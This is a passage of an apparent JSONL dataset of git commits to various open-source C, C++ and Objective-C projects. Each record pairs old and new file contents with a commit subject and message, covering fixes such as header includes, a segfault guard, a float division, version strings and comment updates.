TagReader\n{\npublic:\n TagReader(const QString &file);\n ~TagReader();\n\n bool isValid() const;\n bool hasAudioProperties() const;\n\n QString title() const;\n QString album() const;\n QString artist() const;\n int track() const;\n int year() const;\n QString genre() const;\n QString comment() const;\n\n int length() const;\n int bitrate() const;\n int sampleRate() const;\n int channels() const;\n\n QImage thumbnailImage() const;\n QByteArray thumbnail() const;\n\nprivate:\n TagLib::FileRef m_fileRef;\n TagLib::Tag *m_tag;\n TagLib::AudioProperties *m_audioProperties;\n};\n\n#endif \/\/ TAGREADER_H\n\n","new_contents":"#ifndef TAGREADER_H\n#define TAGREADER_H\n\n#include \"taglib\/fileref.h\"\n#include \"taglib\/tag.h\"\n#include \"taglib\/mpeg\/mpegfile.h\"\n#include \"taglib\/mpeg\/id3v2\/id3v2tag.h\"\n#include \"taglib\/mpeg\/id3v2\/frames\/attachedpictureframe.h\"\n\n#include \n#include \n\nclass TagReader\n{\npublic:\n TagReader(const QString &file);\n ~TagReader();\n\n bool isValid() const;\n bool hasAudioProperties() const;\n\n QString title() const;\n QString album() const;\n QString artist() const;\n int track() const;\n int year() const;\n QString genre() const;\n QString comment() const;\n\n int length() const;\n int bitrate() const;\n int sampleRate() const;\n int channels() const;\n\n QImage thumbnailImage() const;\n QByteArray thumbnail() const;\n\nprivate:\n TagLib::FileRef m_fileRef;\n TagLib::Tag *m_tag;\n TagLib::AudioProperties *m_audioProperties;\n};\n\n#endif \/\/ TAGREADER_H\n\n","subject":"Use our package taglib headers and not the hosts!","message":"Use our package taglib headers and not the hosts!\n","lang":"C","license":"bsd-3-clause","repos":"qtmediahub\/sasquatch,qtmediahub\/sasquatch,qtmediahub\/sasquatch"} {"commit":"4ad6e5a49c4894661fabd40382f2482dd8011ac0","old_file":"test2\/structs\/lvalue\/cant.c","new_file":"test2\/structs\/lvalue\/cant.c","old_contents":"\/\/ RUN: %check -e %s\n\nmain()\n{\n\tstruct A\n\t{\n\t\tint i;\n\t} a, b, c;\n\n\ta = b ? : c; \/\/ CHECK: error: struct involved in if-expr\n}\n","new_contents":"\/\/ RUN: %check -e %s\n\nmain()\n{\n\tstruct A\n\t{\n\t\tint i;\n\t} a, b, c;\n\n\ta = b ? : c; \/\/ CHECK: error: struct involved in ?:\n}\n","subject":"Fix struct if-expression test warning","message":"Fix struct if-expression test warning\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"} {"commit":"d5e1c63c19ff5d4b8dd74bd4b16500becd869322","old_file":"command_mode.c","new_file":"command_mode.c","old_contents":"#include \"mode.h\"\n\n#include \n#include \n\n#include \n\n#include \"buf.h\"\n#include \"editor.h\"\n\n\/\/ TODO(isbadawi): Command mode needs a cursor, but modes don't affect drawing.\nstatic void command_mode_key_pressed(editor_t *editor, struct tb_event *ev) {\n char ch;\n switch (ev->key) {\n case TB_KEY_ESC:\n buf_printf(editor->status, \"\");\n editor->mode = normal_mode();\n return;\n case TB_KEY_BACKSPACE2:\n buf_delete(editor->status, editor->status->len - 1, 1);\n if (editor->status->len == 0) {\n editor->mode = normal_mode();\n return;\n }\n return;\n case TB_KEY_ENTER: {\n char *command = strdup(editor->status->buf + 1);\n editor_execute_command(editor, command);\n free(command);\n editor->mode = normal_mode();\n return;\n }\n case TB_KEY_SPACE:\n ch = ' ';\n break;\n default:\n ch = ev->ch;\n }\n char s[2] = {ch, '\\0'};\n buf_append(editor->status, s);\n}\n\nstatic editing_mode_t impl = {command_mode_key_pressed};\n\nediting_mode_t *command_mode(void) {\n return &impl;\n}\n","new_contents":"#include \"mode.h\"\n\n#include \n#include \n\n#include \n\n#include \"buf.h\"\n#include \"editor.h\"\n\n\/\/ TODO(isbadawi): Command mode needs a cursor, but modes don't affect drawing.\nstatic void command_mode_key_pressed(editor_t *editor, struct tb_event *ev) {\n char ch;\n switch (ev->key) {\n case TB_KEY_ESC:\n buf_printf(editor->status, \"\");\n editor->mode = normal_mode();\n return;\n case TB_KEY_BACKSPACE2:\n buf_delete(editor->status, editor->status->len - 1, 1);\n if (editor->status->len == 0) {\n editor->mode = normal_mode();\n return;\n }\n return;\n case TB_KEY_ENTER: {\n if (editor->status->len > 1) {\n char *command = strdup(editor->status->buf + 1);\n editor_execute_command(editor, command);\n free(command);\n }\n editor->mode = normal_mode();\n return;\n }\n case TB_KEY_SPACE:\n ch = ' ';\n break;\n default:\n ch = ev->ch;\n }\n char s[2] = {ch, '\\0'};\n buf_append(editor->status, s);\n}\n\nstatic editing_mode_t impl = {command_mode_key_pressed};\n\nediting_mode_t *command_mode(void) {\n return &impl;\n}\n","subject":"Fix segfault on empty : command.","message":"Fix segfault on empty : command.\n","lang":"C","license":"mit","repos":"isbadawi\/badavi"} {"commit":"1b7032c1539b38a4e6af2688bedf25ddf3450333","old_file":"test\/performance\/clock.h","new_file":"test\/performance\/clock.h","old_contents":"\/\/ A currentTime function for use in the tests.\n\n#ifdef _WIN32\nextern \"C\" bool QueryPerformanceCounter(uint64_t *);\nextern \"C\" bool QueryPerformanceFrequency(uint64_t *);\ndouble currentTime() {\n uint64_t t, freq;\n QueryPerformanceCounter(&t);\n QueryPerformanceFrequency(&freq);\n return (t * 1000.0) \/ freq;\n}\n#else\n#include \ndouble currentTime() {\n static bool first_call = true;\n static timeval reference_time;\n if (first_call) {\n first_call = false;\n gettimeofday(&reference_time, NULL);\n return 0.0;\n } else {\n timeval t;\n gettimeofday(&t, NULL);\n return ((t.tv_sec - reference_time.tv_sec)*1000.0 +\n (t.tv_usec - reference_time.tv_usec)\/1000.0);\n }\n}\n#endif\n","new_contents":"\/\/ A currentTime function for use in the tests.\n\/\/ Returns time in milliseconds.\n\n#ifdef _WIN32\nextern \"C\" bool QueryPerformanceCounter(uint64_t *);\nextern \"C\" bool QueryPerformanceFrequency(uint64_t *);\ndouble currentTime() {\n uint64_t t, freq;\n QueryPerformanceCounter(&t);\n QueryPerformanceFrequency(&freq);\n return (t * 1000.0) \/ freq;\n}\n#else\n#include \ndouble currentTime() {\n static bool first_call = true;\n static timeval reference_time;\n if (first_call) {\n first_call = false;\n gettimeofday(&reference_time, NULL);\n return 0.0;\n } else {\n timeval t;\n gettimeofday(&t, NULL);\n return ((t.tv_sec - reference_time.tv_sec)*1000.0 +\n (t.tv_usec - reference_time.tv_usec)\/1000.0);\n }\n}\n#endif\n","subject":"Add a comment that currentTime returns result in milliseconds.","message":"Add a comment that currentTime returns result in milliseconds.\n\n\nFormer-commit-id: 397c814dcee2df63ded6cbf17b63b601a10984e2","lang":"C","license":"mit","repos":"darkbuck\/Halide,Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,darkbuck\/Halide,Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide"} {"commit":"f811db9dd6a03c198717b68afd00eb56200e19bc","old_file":"src\/lcd.c","new_file":"src\/lcd.c","old_contents":"\/* COR:a.bc PE:a.bc\n BAC:a.bc *\/\n\nvoid lcd_voltage() {\n\n string top, bottom;\n sprintf(top, \"COR:%1.2f PE:%1.2f\", nImmediateBatteryLevel * 0.001, SensorValue(PowerExpanderBattery) \/ 280);\n sprintf(bottom, \"BAC:%1.2f\", BackupBatteryLevel * 0.001);\n displayLCDString(LCD_LINE_TOP, 0, top);\n displayLCDString(LCD_LINE_BOTTOM, 0, bottom);\n\n}\n\nvoid lcd_clear() {\n\n clearLCDLine(LCD_LINE_TOP);\n clearLCDLine(LCD_LINE_BOTTOM);\n\n}\n","new_contents":"\/* COR:a.bc PE:a.bc\n BAC:a.bc *\/\n\nvoid lcd_voltage() {\n\n string top, bottom;\n sprintf(top, \"COR:%1.2f PE:%1.2f\", nImmediateBatteryLevel * 0.001, SensorValue(PowerExpanderBattery) \/ 280.0);\n sprintf(bottom, \"BAC:%1.2f\", BackupBatteryLevel * 0.001);\n displayLCDString(LCD_LINE_TOP, 0, top);\n displayLCDString(LCD_LINE_BOTTOM, 0, bottom);\n\n}\n\nvoid lcd_clear() {\n\n clearLCDLine(LCD_LINE_TOP);\n clearLCDLine(LCD_LINE_BOTTOM);\n\n}\n","subject":"Change power expander to float","message":"Change power expander to float\n","lang":"C","license":"mit","repos":"qsctr\/vex-4194b-2016"} {"commit":"a221dd6a4d5ebf75e3f5a278c753824914ae7661","old_file":"hopstack\/di\/main.c","new_file":"hopstack\/di\/main.c","old_contents":"","new_contents":"#include \n#include \n#include \n\nstruct URI {\n char * scheme;\n char * user;\n char * password;\n char * host;\n char * port;\n char * path;\n char * query;\n char * fragment;\n};\n\nstruct rule {\n char * name;\n char * rule;\n char * levels;\n char * priority;\n};\n\nstruct URP {\n struct URI uri;\n struct rule * rules;\n};\n\nstruct URI * parse_uri(char * raw_uri) {\n struct URI *uri = malloc (sizeof (struct URI));\n\n int scheme_found = 0;\n int scheme_end = 0;\n char * tmp_uriptr;\n for (tmp_uriptr = raw_uri; *tmp_uriptr != '\\0'; ++tmp_uriptr) {\n if (*tmp_uriptr == ':') {\n if (!scheme_found) {\n scheme_end = tmp_uriptr - raw_uri;\n uri->scheme = (char *) malloc(scheme_end);\n strncpy(uri->scheme, raw_uri, scheme_end);\n scheme_found = 1;\n }\n }\n }\n return uri;\n}\n\nint main() {\n char * raw_uri = \"scheme:\/\/dir1\/dir2\/dir3\";\n struct URI * parsed_uri;\n parsed_uri = parse_uri(raw_uri);\n printf(\"%s\\n\", parsed_uri->scheme);\n}\n\n","subject":"CREATE start of di in C","message":"CREATE start of di in C\n","lang":"C","license":"mit","repos":"willpatterson\/HOPSTACK,willpatterson\/LASubway,willpatterson\/HOPSTACK"} {"commit":"0c7a489e65b7bc51cc15af88197eb162f54cff13","old_file":"JazzHands\/IFTTTAnimator.h","new_file":"JazzHands\/IFTTTAnimator.h","old_contents":"\/\/\n\/\/ IFTTTAnimator.h\n\/\/ JazzHands\n\/\/\n\/\/ Created by Devin Foley on 9\/28\/13.\n\/\/ Copyright (c) 2013 IFTTT Inc. All rights reserved.\n\/\/\n\n@protocol IFTTTAnimatable;\n\n@interface IFTTTAnimator : NSObject\n\n- (void)addAnimation:(id)animation;\n- (void)animate:(CGFloat)time;\n\n@end\n","new_contents":"\/\/\n\/\/ IFTTTAnimator.h\n\/\/ JazzHands\n\/\/\n\/\/ Created by Devin Foley on 9\/28\/13.\n\/\/ Copyright (c) 2013 IFTTT Inc. All rights reserved.\n\/\/\n\n#import \n\n@protocol IFTTTAnimatable;\n\n@interface IFTTTAnimator : NSObject\n\n- (void)addAnimation:(id)animation;\n- (void)animate:(CGFloat)time;\n\n@end\n","subject":"Add UIKit import to allow for compiling without precompiled header","message":"Add UIKit import to allow for compiling without precompiled header","lang":"C","license":"mit","repos":"IFTTT\/JazzHands,revolter\/JazzHands,IFTTT\/JazzHands,AlexanderMazaletskiy\/JazzHands,ernestopino\/JazzHands,ernestopino\/JazzHands,lionkon\/JazzHands,liuruxian\/JazzHands,zorroblue\/JazzHands,revolter\/JazzHands,AlexanderMazaletskiy\/JazzHands,wintersweet\/JazzHands,ramoslin02\/JazzHands,tangwei6423471\/JazzHands,wintersweet\/JazzHands,IFTTT\/JazzHands,lionkon\/JazzHands,lionkon\/JazzHands,marcelofariasantos\/JazzHands,tangwei6423471\/JazzHands,marcelofariasantos\/JazzHands,liuruxian\/JazzHands,marcelofariasantos\/JazzHands,liuruxian\/JazzHands,wintersweet\/JazzHands,AlexanderMazaletskiy\/JazzHands,ernestopino\/JazzHands,revolter\/JazzHands,ramoslin02\/JazzHands,liuruxian\/JazzHands,zorroblue\/JazzHands,tangwei6423471\/JazzHands,zorroblue\/JazzHands,tangwei6423471\/JazzHands,ramoslin02\/JazzHands,liuruxian\/JazzHands,tangwei6423471\/JazzHands"} {"commit":"7f6be0874b9900c0188d7319412521f341dcf648","old_file":"Classes\/Constants.h","new_file":"Classes\/Constants.h","old_contents":"\/*\n * Constants.h\n * phonegap-mac\n *\n * Created by shazron on 10-04-08.\n * Copyright 2010 Nitobi Software Inc. All rights reserved.\n *\n *\/\n\n\n#define kStartPage @\"index.html\"\n\n\/\/Sencha Demos\n#define kStartFolder @\"www\/sencha\"\n\n\/\/ PhoneGap Docs Only\n\/\/#define kStartFolder @\"www\/phonegap-docs\/template\/phonegap\/\"\n\n","new_contents":"\/*\n * Constants.h\n * phonegap-mac\n *\n * Created by shazron on 10-04-08.\n * Copyright 2010 Nitobi Software Inc. All rights reserved.\n *\n *\/\n\n\n#define kStartPage @\"index.html\"\n\n\/\/Sencha Demos\n\/\/#define kStartFolder @\"www\/sencha\"\n\n\/\/ PhoneGap Docs Only\n#define kStartFolder @\"www\/phonegap-docs\/template\/phonegap\/\"\n\n","subject":"Revert \"kStartFolder switch back to Sencha configuration\"","message":"Revert \"kStartFolder switch back to Sencha configuration\"\n\nThis reverts commit 034cbb7f82a7c034ac8fe83c991ed6838b9a03b2.\n","lang":"C","license":"apache-2.0","repos":"adobe-rnd\/cordova-osx,apache\/cordova-osx,adobe-rnd\/cordova-osx,gitterHQ\/cordova-osx,apache\/cordova-osx,gitterHQ\/cordova-osx,Jigsaw-Code\/cordova-osx,adobe-rnd\/cordova-osx,adobe-rnd\/cordova-osx,onflapp\/cordova-osx,adobe-rnd\/cordova-osx,apache\/cordova-osx,tripodsan\/cordova-osx,Jigsaw-Code\/cordova-osx,apache\/cordova-osx,gitterHQ\/cordova-osx,onflapp\/cordova-osx,apache\/cordova-osx,Jigsaw-Code\/cordova-osx,tripodsan\/cordova-osx,onflapp\/cordova-osx,tripodsan\/cordova-osx,Jigsaw-Code\/cordova-osx,gitterHQ\/cordova-osx,onflapp\/cordova-osx,tripodsan\/cordova-osx,onflapp\/cordova-osx,tripodsan\/cordova-osx,Jigsaw-Code\/cordova-osx"} {"commit":"59c91c8d0000af8f8a1022ee0f0eec46c397b347","old_file":"include\/clang\/AST\/CommentBriefParser.h","new_file":"include\/clang\/AST\/CommentBriefParser.h","old_contents":"\/\/===--- CommentBriefParser.h - Dumb comment parser -------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines a very simple Doxygen comment parser.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef LLVM_CLANG_AST_BRIEF_COMMENT_PARSER_H\n#define LLVM_CLANG_AST_BRIEF_COMMENT_PARSER_H\n\n#include \"clang\/AST\/CommentLexer.h\"\n\nnamespace clang {\nnamespace comments {\n\n\/\/\/ A very simple comment parser that extracts \"a brief description\".\n\/\/\/\n\/\/\/ Due to a variety of comment styles, it considers the following as \"a brief\n\/\/\/ description\", in order of priority:\n\/\/\/ \\li a \\\\brief or \\\\short command,\n\/\/\/ \\li the first paragraph,\n\/\/\/ \\li a \\\\result or \\\\return or \\\\returns paragraph.\nclass BriefParser {\n Lexer &L;\n\n const CommandTraits &Traits;\n\n \/\/\/ Current lookahead token.\n Token Tok;\n\n SourceLocation ConsumeToken() {\n SourceLocation Loc = Tok.getLocation();\n L.lex(Tok);\n return Loc;\n }\n\npublic:\n BriefParser(Lexer &L, const CommandTraits &Traits);\n\n \/\/\/ Return \\\\brief paragraph, if it exists; otherwise return the first\n \/\/\/ paragraph.\n std::string Parse();\n};\n\n} \/\/ end namespace comments\n} \/\/ end namespace clang\n\n#endif\n\n","new_contents":"\/\/===--- CommentBriefParser.h - Dumb comment parser -------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines a very simple Doxygen comment parser.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef LLVM_CLANG_AST_BRIEF_COMMENT_PARSER_H\n#define LLVM_CLANG_AST_BRIEF_COMMENT_PARSER_H\n\n#include \"clang\/AST\/CommentLexer.h\"\n\nnamespace clang {\nnamespace comments {\n\n\/\/\/ A very simple comment parser that extracts \"a brief description\".\n\/\/\/\n\/\/\/ Due to a variety of comment styles, it considers the following as \"a brief\n\/\/\/ description\", in order of priority:\n\/\/\/ \\li a \\\\brief or \\\\short command,\n\/\/\/ \\li the first paragraph,\n\/\/\/ \\li a \\\\result or \\\\return or \\\\returns paragraph.\nclass BriefParser {\n Lexer &L;\n\n const CommandTraits &Traits;\n\n \/\/\/ Current lookahead token.\n Token Tok;\n\n SourceLocation ConsumeToken() {\n SourceLocation Loc = Tok.getLocation();\n L.lex(Tok);\n return Loc;\n }\n\npublic:\n BriefParser(Lexer &L, const CommandTraits &Traits);\n\n \/\/\/ Return the best \"brief description\" we can find.\n std::string Parse();\n};\n\n} \/\/ end namespace comments\n} \/\/ end namespace clang\n\n#endif\n\n","subject":"Update comment to match the reality.","message":"Update comment to match the reality.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@162316 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"} {"commit":"9137574e4d330370df242a0fa6c914f2f0eb5528","old_file":"features\/mbedtls\/platform\/inc\/platform_mbed.h","new_file":"features\/mbedtls\/platform\/inc\/platform_mbed.h","old_contents":"\/**\n * Copyright (C) 2006-2016, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n#if defined(DEVICE_TRNG)\n#define MBEDTLS_ENTROPY_HARDWARE_ALT\n#endif\n\n#if defined(DEVICE_CRYPTO)\n#include \"mbedtls_device.h\"\n#endif\n","new_contents":"\/**\n * Copyright (C) 2006-2016, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n#if defined(DEVICE_TRNG)\n#define MBEDTLS_ENTROPY_HARDWARE_ALT\n#endif\n\n#if defined(MBEDTLS_HW_SUPPORT)\n#include \"mbedtls_device.h\"\n#endif\n","subject":"Move mbed TLS configuration symbol to macro section","message":"Move mbed TLS configuration symbol to macro section\n\nThe configuration option for the mbed TLS specific hardware acceleration\nhas to be in the macro section and not in the device capabilities\nsection in targets.json.\n\nThe option has also been renamed to better reflect its function.\n","lang":"C","license":"apache-2.0","repos":"netzimme\/mbed-os,nRFMesh\/mbed-os,screamerbg\/mbed,monkiineko\/mbed-os,kl-cruz\/mbed-os,screamerbg\/mbed,nvlsianpu\/mbed,ryankurte\/mbed-os,mmorenobarm\/mbed-os,screamerbg\/mbed,netzimme\/mbed-os,bcostm\/mbed-os,fanghuaqi\/mbed,adustm\/mbed,NXPmicro\/mbed,ryankurte\/mbed-os,andcor02\/mbed-os,infinnovation\/mbed-os,CalSol\/mbed,adamgreen\/mbed,CalSol\/mbed,arostm\/mbed-os,NXPmicro\/mbed,radhika-raghavendran\/mbed-os5.1-onsemi,bcostm\/mbed-os,mbedmicro\/mbed,c1728p9\/mbed-os,adamgreen\/mbed,betzw\/mbed-os,catiedev\/mbed-os,catiedev\/mbed-os,andcor02\/mbed-os,arostm\/mbed-os,ryankurte\/mbed-os,j-greffe\/mbed-os,svogl\/mbed-os,maximmbed\/mbed,pradeep-gr\/mbed-os5-onsemi,nRFMesh\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,Archcady\/mbed-os,CalSol\/mbed,cvtsi2sd\/mbed-os,NXPmicro\/mbed,kl-cruz\/mbed-os,nvlsianpu\/mbed,mikaleppanen\/mbed-os,fanghuaqi\/mbed,kjbracey-arm\/mbed,cvtsi2sd\/mbed-os,mmorenobarm\/mbed-os,YarivCol\/mbed-os,CalSol\/mbed,adamgreen\/mbed,mikaleppanen\/mbed-os,betzw\/mbed-os,c1728p9\/mbed-os,maximmbed\/mbed,pradeep-gr\/mbed-os5-onsemi,j-greffe\/mbed-os,c1728p9\/mbed-os,ryankurte\/mbed-os,fahhem\/mbed-os,mbedmicro\/mbed,fahhem\/mbed-os,bcostm\/mbed-os,catiedev\/mbed-os,Archcady\/mbed-os,mbedmicro\/mbed,radhika-raghavendran\/mbed-os5.1-onsemi,c1728p9\/mbed-os,infinnovation\/mbed-os,nvlsianpu\/mbed,bulislaw\/mbed-os,nRFMesh\/mbed-os,netzimme\/mbed-os,nRFMesh\/mbed-os,adustm\/mbed,theotherjimmy\/mbed,HeadsUpDisplayInc\/mbed,screamerbg\/mbed,cvtsi2sd\/mbed-os,arostm\/mbed-os,svogl\/mbed-os,c1728p9\/mbed-os,netzimme\/mbed-os,RonEld\/mbed,mazimkhan\/mbed-os,bulislaw\/mbed-os,fanghuaqi\/mbed,kjbracey-arm\/mbed,nRFMesh\/mbed-os,HeadsUpDisplayInc\/mbed,infinnovation\/mbed-os,CalSol\/mbed,RonEld\/mbed,kl-cruz\/mbed-os,mikaleppanen\/mbed-os,Archcady\/mbed-os,adustm\/mbed,adamgreen\/mbed,arostm\/mbed-os,netzimme\/mbed-os,catiedev\/mbed-os,YarivCol\/mbed-os,svogl\/mbed-os,theotherjimmy\/mbed,mmorenobarm\/mbed-os,RonEld\/mbed,YarivCol\/mbed-os,RonEld\/mbed,nRFMesh\/mbed-os,karsev\/mbed-os,YarivCol\/mbed-os,netzimme\/mbed-os,mazimkhan\/mbed-os,monkiineko\/mbed-os,mikaleppanen\/mbed-os,bulislaw\/mbed-os,karsev\/mbed-os,nvlsianpu\/mbed,adamgreen\/mbed,infinnovation\/mbed-os,nvlsianpu\/mbed,arostm\/mbed-os,andcor02\/mbed-os,karsev\/mbed-os,YarivCol\/mbed-os,bcostm\/mbed-os,theotherjimmy\/mbed,mbedmicro\/mbed,fahhem\/mbed-os,CalSol\/mbed,maximmbed\/mbed,HeadsUpDisplayInc\/mbed,HeadsUpDisplayInc\/mbed,fahhem\/mbed-os,mmorenobarm\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,svogl\/mbed-os,catiedev\/mbed-os,bcostm\/mbed-os,svogl\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,cvtsi2sd\/mbed-os,kjbracey-arm\/mbed,j-greffe\/mbed-os,adamgreen\/mbed,monkiineko\/mbed-os,mmorenobarm\/mbed-os,catiedev\/mbed-os,adustm\/mbed,Archcady\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,theotherjimmy\/mbed,j-greffe\/mbed-os,pradeep-gr\/mbed-os5-onsemi,monkiineko\/mbed-os,bulislaw\/mbed-os,adustm\/mbed,mazimkhan\/mbed-os,theotherjimmy\/mbed,betzw\/mbed-os,pradeep-gr\/mbed-os5-onsemi,monkiineko\/mbed-os,mbedmicro\/mbed,cvtsi2sd\/mbed-os,maximmbed\/mbed,maximmbed\/mbed,mikaleppanen\/mbed-os,infinnovation\/mbed-os,j-greffe\/mbed-os,andcor02\/mbed-os,fahhem\/mbed-os,karsev\/mbed-os,betzw\/mbed-os,mikaleppanen\/mbed-os,fanghuaqi\/mbed,mazimkhan\/mbed-os,pradeep-gr\/mbed-os5-onsemi,karsev\/mbed-os,ryankurte\/mbed-os,mmorenobarm\/mbed-os,mazimkhan\/mbed-os,RonEld\/mbed,monkiineko\/mbed-os,infinnovation\/mbed-os,ryankurte\/mbed-os,NXPmicro\/mbed,maximmbed\/mbed,andcor02\/mbed-os,RonEld\/mbed,arostm\/mbed-os,mazimkhan\/mbed-os,NXPmicro\/mbed,karsev\/mbed-os,betzw\/mbed-os,pradeep-gr\/mbed-os5-onsemi,Archcady\/mbed-os,kl-cruz\/mbed-os,cvtsi2sd\/mbed-os,andcor02\/mbed-os,bulislaw\/mbed-os,YarivCol\/mbed-os,betzw\/mbed-os,HeadsUpDisplayInc\/mbed,fahhem\/mbed-os,kl-cruz\/mbed-os,svogl\/mbed-os,c1728p9\/mbed-os,Archcady\/mbed-os,NXPmicro\/mbed,HeadsUpDisplayInc\/mbed,theotherjimmy\/mbed,nvlsianpu\/mbed,bcostm\/mbed-os,fanghuaqi\/mbed,bulislaw\/mbed-os,kjbracey-arm\/mbed,j-greffe\/mbed-os,kl-cruz\/mbed-os,screamerbg\/mbed,adustm\/mbed,screamerbg\/mbed"} {"commit":"dcbb118c40a472014ca77bf3f63afc35651657cc","old_file":"inc\/area.h","new_file":"inc\/area.h","old_contents":"#ifndef AREA_H\n#define AREA_H\n#include \"base.h\"\n\ntypedef struct area area;\nstruct area{\n char name[10];\n int capacity;\n int areasAround;\n char ** adjec; \/\/ STRINGS SIZE ARE ALWAYS 10\n};\n\nvoid listAreas(area * a, int size);\nvoid addArea(area * a, int size);\nvoid deleteArea(area * a, int size);\n\n#endif\n","new_contents":"#ifndef AREA_H\n#define AREA_H\n#include \"base.h\"\n\ntypedef struct area area;\nstruct area{\n char name[10];\n int capacity;\n int areasAround;\n char ** adjec; \/\/ STRINGS SIZE ARE ALWAYS 10\n};\n\nvoid listAreas(area * a, int size);\nvoid addArea(area ** a, int *size);\nvoid deleteArea(area ** a, int *size);\n\nint checkAreaExist(area * z, int zSize, char * areaName);\nint getAreaCapacity(area * z, int zSize, char * areaName);\n\n#endif\n","subject":"Add Area capacity functions. Add addArea function","message":"Add Area capacity functions. Add addArea function\n","lang":"C","license":"mit","repos":"leovegetium\/Trabalho-P"} {"commit":"3d65722c8e3eb4e3a43a86cc920f9770c78582dd","old_file":"win32\/libcouchbase\/configuration.h","new_file":"win32\/libcouchbase\/configuration.h","old_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n * Copyright 2011 Couchbase, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * Settings detected at \"configure\" time that the source needs to be\n * aware of (on the client installation).\n *\n * @author Trond Norbye\n *\/\n#ifndef LIBCOUCHBASE_CONFIGURATION_H\n#define LIBCOUCHBASE_CONFIGURATION_H 1\n\n#define LIBCOUCHBASE_VERSION_STRING \"UNKNOWN\"\n#define LIBCOUCHBASE_VERSION 0x00000000\n#define LIBCOUCHBASE_VERSION_CHANGESET a687b0808c1777ba0011f5eb31bfb94d2f7f4413\n\n#endif\n","new_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n * Copyright 2011 Couchbase, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * Settings detected at \"configure\" time that the source needs to be\n * aware of (on the client installation).\n *\n * @author Trond Norbye\n *\/\n#ifndef LIBCOUCHBASE_CONFIGURATION_H\n#define LIBCOUCHBASE_CONFIGURATION_H 1\n\n#define LIBCOUCHBASE_VERSION_STRING \"1.0.0\"\n#define LIBCOUCHBASE_VERSION 0x010000\n#define LIBCOUCHBASE_VERSION_CHANGESET unknown\n#define PACKAGE_STRING \"libcouchbase 1.8.0\"\n\n#endif\n","subject":"Update versions for win32 (@todo find a better way)","message":"Update versions for win32 (@todo find a better way)\n\nChange-Id: Ie3fe211791ee7054bd797027176ffdbde64c6721\nReviewed-on: http:\/\/review.couchbase.org\/12472\nTested-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\nTested-by: Matt Ingenthron <1fa2ef4755a9226cb9a0a4840bd89b158ac71391@couchbase.com>\nReviewed-by: Matt Ingenthron 